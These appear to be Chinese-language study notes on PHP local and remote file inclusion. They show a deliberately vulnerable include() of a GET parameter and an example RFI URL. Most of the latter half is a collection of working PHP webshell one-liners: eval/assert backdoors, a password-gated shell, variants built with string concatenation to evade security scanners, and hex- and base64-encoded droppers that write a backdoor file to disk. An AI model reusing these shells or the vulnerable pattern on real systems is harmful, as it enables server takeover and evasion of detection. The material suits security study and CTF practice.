一.文件包含
宗旨:将任何的php文件或者非php文件利用函数包含进php文件之后都会被当作php代码解析PHP提供一些函数来进行各个文件之间的相互引用,并提供了一些协议用于读取或者写入文件。
特殊文件包含:
最常⻅的使用:
include('flag.php')包含flag.php文件
* php代码执行的时候会写去访问flag.php,就好似把flag.php文件全部放在了当前文件,并且执行包含后的这个文件==============>不仅包含也会执行
其他函数:
include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile
#各种语言文件包含
#ASP ASPX PHP JSP Python Javaweb
<c:import url="http://...">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?php include ('test.php')?>
分类:
相关配置
本地文件包含 (LFI):可以读取与打开本地文件
远程文件包含 (RFI)(HTTP,FTP,PHP伪协议):可以远程加载文
php.ini文件:
本地:allow_url_fopen=On/Off
远程:allow_url_include=On/Off
<?php
if(isset($_GET['path'])){
include $_GET['path'];
}else{
echo "?path=info.php";
}
?>
本地:可通过相对路径方式找到文件
?path=info.php
远程:可通过http(s)或者ftp等方式远程加载文件
?path=http://......info.php
?path=ftp://....
allow_url_fopen = On allow_url_include = On
- 本地文件包含:通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行
- 远程文件包含:就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。 此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击 甚至在目标服务器执行代码。
?path=http://192.168.158.119/phpinfo.php
1.包含一句话木马:
将一句话写在一个文件中上传之后,在可以包含文件的php⻚面包含该文件,直接利用一句话
常⻅的一句话
eval :
- 用来执行任意php代码
- 用法:
<?php
eval($_POST[1]);
//1=system(ls);
?>
最常⻅的木⻢:
<?php
eval($_POS[1]);
?>
防爆破木⻢:
<?php
substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['password']);
?>
x=myh0st
过狗一句话:
<?php
($_=@$_GET[s]).@$_($_POST[hihack])
?> //s=assert
<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST[hihack]);
?>//将敏感函数通过.链接防止被检
不用 ? 的一句话远程:
<script language="php">eval ($_POST[hihack]);</script>
不用eval的一句话:
<?php
assert($_POST[1]);
?>
//具体看web1中的执行PHP代码函数的讲解
变形一句话后门:
<!--?php fputs
(fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?-->
pack:pack(string $format, mixed ...$values): string //将输入参数打包成 format 格式的二进制字符串。6c6f7374776f6c662e706870//lostwolf.php
3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e//<?@eval($_POST[lostwolf])?>
<!--?php @ fputs (fopen(base64_decode('bXloMHN0LnBocA=='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydoaWhhY2snXSk7Pz4='));?-->
pack----->注意format代表的格式
灭杀一句话:
<!--?php $x="as"."se"."rt";$x($_POST["pass"]);?-->